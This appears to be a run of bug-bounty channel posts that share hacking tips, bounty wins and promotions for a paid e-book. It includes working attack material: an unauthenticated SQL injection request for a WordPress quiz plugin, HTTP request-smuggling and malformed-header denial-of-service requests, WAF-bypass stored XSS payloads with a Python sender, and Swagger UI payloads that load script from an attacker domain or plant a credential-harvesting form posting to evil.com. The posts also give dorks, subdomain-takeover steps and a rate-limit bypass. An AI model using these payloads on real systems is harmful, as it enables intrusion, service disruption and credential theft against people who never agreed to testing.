Bug🐞: IDOR lead to leak agent data and messages.
Tip💁‍♂️: FUZZ 1st and second and 3rd /dir.
🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

CVE-2021-24456 is a vulnerability in the WordPress plugin Quiz And Survey Master (QSM) versions prior to 7.0.1, which allowed unauthenticated users to perform SQL Injection via the question_id parameter in a request to the qsm_get_questions AJAX action.

Below is a simple Proof of Concept (PoC) showing how the SQL injection could be executed:


---

PoC: Unauthenticated SQL Injection

Vulnerable Plugin: Quiz And Survey Master
Affected Versions: < 7.0.1
Vulnerability Type: SQL Injection
CVE: CVE-2021-24456

HTTP Request PoC

POST /wp-admin/admin-ajax.php?action=qsm_get_questions HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

question_id=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+

Explanation:

The plugin registered an AJAX action qsm_get_questions accessible without authentication.

The question_id parameter is vulnerable to SQL injection.

The SQL payload is inserted to extract or test data (e.g., with UNION-based injection).



---

References:

Patchstack Advisory

NVD - CVE-2021-24456

WPScan Advisory



---

Happy to join the 10K Reputation Points Club @Hacker0x01 🪅🎉

I thank this great platform for the wonderful opportunities it offers us🔥🫡

🐞Join my Telegram channel for BB tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#hackers
#TogetherWeHitHarder

[CVE-2025-31650] Apache Tomcat DoS via Malformed HTTP Priority Headers

A critical vulnerability in Apache Tomcat allows remote attackers to crash servers by sending malformed HTTP Priority headers, leading to memory leaks and denial of service (DoS).

Affected Versions:

Tomcat 9.0.76 – 9.0.102

Tomcat 10.1.10 – 10.1.39

Tomcat 11.0.0-M2 – 11.0.5


Fixed in:

Tomcat 9.0.104

Tomcat 10.1.40

Tomcat 11.0.6


What’s the issue?
Tomcat fails to fully clean up malformed HTTP requests containing invalid Priority headers (RFC 9218), eventually triggering OutOfMemoryException.

Examples of malicious headers:

Priority: u=-1
Priority: u=abc
Priority: u=8
Priority:
Priority: i=maybe
Priority: u=3, i=1
Priority: foo=bar

Impact:
No authentication needed — attackers can exhaust server memory remotely.

Mitigation:

Update to the latest version of Tomcat.

Use a reverse proxy to strip malformed Priority headers.

Set up rate limiting and monitor memory usage.


Details:

CVE: https://nvd.nist.gov/vuln/detail/CVE-2025-31650

RFC 9218: https://www.rfc-editor.org/rfc/rfc9218.html

Apache Advisory: https://lists.apache.org/thread/j6zzk0y3yym9pzfzkq5vcyxzz0yzh826


Stay safe, patch early!


---

CL.0 HTTP Smuggling → Limited DoS

1. What happens?
CL.0 smuggling exploits a mismatch where the front‑end honors Content-Length: 0 but the back‑end still reads any extra bytes sent afterward .


2. Exploit (PoC)

POST /upload HTTP/1.1
Host: target.com
Content-Length: 0

[100 KB of “A” padding here]
GET /healthcheck HTTP/1.1
Host: target.com

The front‑end closes the request immediately, while the back‑end queues the 100 KB payload then hangs on the pipelined GET, consuming a worker slot .


3. Impact: Limited DoS
Each smuggled payload ties up a backend thread or connection. Repeating this depletes available workers, degrading service availability .


4. Detection

Enable verbose reverse‑proxy logging to spot requests with Content-Length: 0 carrying unexpected payloads .

Monitor backend queue lengths for unusual stalls after zero‑length frames .

Guys, don't be shy about voting, it's free!

Bug🐞: access to users records using public airtable url.

Tip💁‍♂️: check for airtable urls on every .js files and you may found the gold there.

🐞Join my Telegram channel for more tips🐞 t.me/kassems94

#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder

🔥 Tips to Hunt Subdomain Takeovers 🔥

1️⃣ Scan JavaScript Files
Look inside .js for hardcoded subdomains
🔍 layout-*.js, app-*.js, etc.

2️⃣ Check DNS (CNAME)
Look for subdomains pointing to services like Vercel, Heroku, GitHub Pages
🧭 dig, host, nslookup

3️⃣ Visit & Inspect Errors
Subdomain shows "project not found"?
🚨 Could be vulnerable!

4️⃣ Try to Claim It
Deploy a project with the same name on the linked service
⚙️ Especially on platforms like vercel.app

5️⃣ Use Automation Tools
🛠️ subzy, tko-subs, nuclei

6️⃣ Explore Public Repos
Find .vercel, deployment configs, or exposed project names
📦 GitHub is gold!

Bounty💰:1000$
Bug🐞:Bypass the Rate-Limit on login page using '%00' [OLD BUT GOLD🪅].
Tip💁‍♂️: Try using %00 after the email when testing for RL bugs, this will bypass the validation sometimes.
🐞Join my Telegram channel for more tips🐞 t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder

🔍 Bypassing WAFs Using Content-Encoding Header in Stored XSS Hunting

When hunting for stored XSS, WAFs (Web Application Firewalls) can block common payloads. But there's a sneaky technique that can bypass them — using the Content-Encoding header.

💡 Two Tricks:

1️⃣ Valid Compression (e.g. gzip, deflate)

Compress your payload.

Send it with Content-Encoding: gzip.

Many WAFs won't decompress it and will miss the XSS.


2️⃣ Fake or Random Content-Encoding

Use a random or incorrect value like Content-Encoding: xyz.

Some backends ignore unknown encodings and just process the request body normally.

Meanwhile, some WAFs may skip inspection or break when parsing the unknown encoding — leading to a bypass.


📌 Example with gzip compression:

POST /submit-comment HTTP/1.1
Host: target.com
Content-Encoding: gzip
Content-Type: application/x-www-form-urlencoded

[ gzip-compressed payload with: <script>alert(1)</script> ]

📌 Example with fake encoding:

POST /submit-comment HTTP/1.1
Host: target.com
Content-Encoding: x-nonsense
Content-Type: application/x-www-form-urlencoded

comment=<script>alert(1)</script>

🧠 Why it works:

WAFs might block based on the header alone or misinterpret it.

The backend may not enforce the declared encoding and just process the raw body.


🛠️ Python Example:

import requests

payload = 'comment=<script>alert(1)</script>'
headers = {
'Content-Encoding': 'x-xyz123', # Random/fake value
'Content-Type': 'application/x-www-form-urlencoded'
}

requests.post('https://target.com/submit-comment', data=payload, headers=headers)

⚠️ Notes:

Behavior varies between servers and WAFs.

Best used when stored content is later rendered in a browser (Stored XSS).

Always test on a case-by-case basis.


---

#BugBounty #StoredXSS #WAFBypass #XSS #InfoSec #WebSecurity #ContentEncoding

🚨 Blind XSS & HTML Injection in Exposed Swagger UI

🔍 Swagger UI Exposure = Attack Surface

Many Swagger UIs are exposed publicly in production. You can find them using Google & GitHub dorks like:

🔎 Google Dorks:

inurl:/swagger-ui/?url=
inurl:/swagger-ui/index.html
intitle:"Swagger UI"

🐙 GitHub Dorks:

filename:swagger.json "swagger-ui"
filename:swagger-config.json


---

💉 Blind XSS via ?url= or ?configUrl=

Swagger UI loads external API specs from ?url= or ?configUrl= and renders untrusted JSON/YAML fields into the page without sanitization.

✅ Blind XSS payload:

{
"info": {
"title": "<script src=//xsshunter.yourdomain.js></script>"
}
}

🧠 Send the target:

https://target.com/swagger-ui/?url=https://evil.com/payload.json

⛔️ The payload triggers XSS when opened by internal staff (QA/dev/admin).


---

🧠 Elevate Impact with HTMli — Fake Login Page

If full XSS is blocked (via CSP), you can inject HTML that mimics a login page, increasing severity due to phishing risk.

🎭 HTMli Payload:

{
"info": {
"title": "<h2>Session Expired</h2><form action='https://evil.com/steal' method='POST'><input type='text' name='user' placeholder='Username'><br><input type='password' name='pass' placeholder='Password'><br><button type='submit'>Login</button></form>"
}
}

➡️ Injects a credential-harvesting form inside the Swagger UI.

🧨 This tricks internal users into entering creds — high-impact phishing vector.

Bounty💰:1000$.

Bug🐞:Creating support tickets in any user account.

Tip💁‍♂️: on the support form request try to add some-email related-parameters🪅.

🐞Join my Telegram channel for more tips🐞 t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder

Bounty💰:525$

Bug🐞: CL.0 HTTP request smuggling.

Tip💁‍♂️: Try to find any request with 3XX response and smuggle it to make a bigger impact.

🐞Join my Telegram channel for more tips and info🐞 t.me/kassems94
#bugbountytips
#bugbounty
#hacking
#TogetherWeHitHarder

🚨 Announcement for Cybersecurity Enthusiasts! 🛡️💻
I'm currently working on my first bug bounty guidebook — built to help you understand and apply real-world hacking techniques in a simple, structured way 🔥

📘 What’s inside:

Clear explanations of real vulnerability types

3 Proof-of-Concept (PoC) reports for each bug

Straightforward and practical approach

Based on 5+ years of hands-on experience


🎯 Target Audience:
This book is designed specifically for beginners and those at the intermediate level who want to sharpen their skills and learn how real bug bounty hunters work.

💵 The final version will be available soon for a symbolic price: just $30

📩 For more info or questions, DM me directly 👉 @apesOfficial

Share this post with friends

t.me/kassems94

#BugBounty #EthicalHacking #CyberSecurity #InfoSec #ComingSoon

🚨 Important Announcement for the Global Cybersecurity Community! 🚨

I'm thrilled to announce the launch of my first e-book — a comprehensive guide for anyone looking to dive into the world of Bug Bounty or sharpen their skills, whether you're a beginner or have intermediate experience.

In this book, I don’t just list vulnerabilities — I walk you through my personal methodology and practical steps I use daily as a bug bounty hunter. You’ll learn:

🔹 How to Think Like an Ethical Hacker
🔹 Intelligent Recon: Gathering and analyzing data to find targets
🔹 Finding & Exploiting Bugs with real examples
🔹 Professional Report Writing: Ensure your reports win bounties

This book is the result of years of real experience in cybersecurity — written to empower others entering this exciting field.

💵 Price: $30 USD
📩 To get your copy, message me directly on Telegram: @apesOfficial

Let’s raise the bar in the bug bounty world together! 🔥

#BugBounty #Cybersecurity #EthicalHacking #InfoSec #BugHunting

📚 Own "3 Bugs That Pay - V1"? You Get a Discount! 🔥

Everyone who purchased the first edition of the book will automatically receive a 15% discount on Volume 2 (V2) when it launches! 🎯

✅ Your support keeps us going
✅ And those who started with us, move forward with benefits 💪

Stay tuned for more details about the upcoming second release!

📬 For any questions or to confirm your purchase, contact me

Direct store link [paypal]:
3 Bugs Thats Pay V1 https://payhip.com/b/XTK26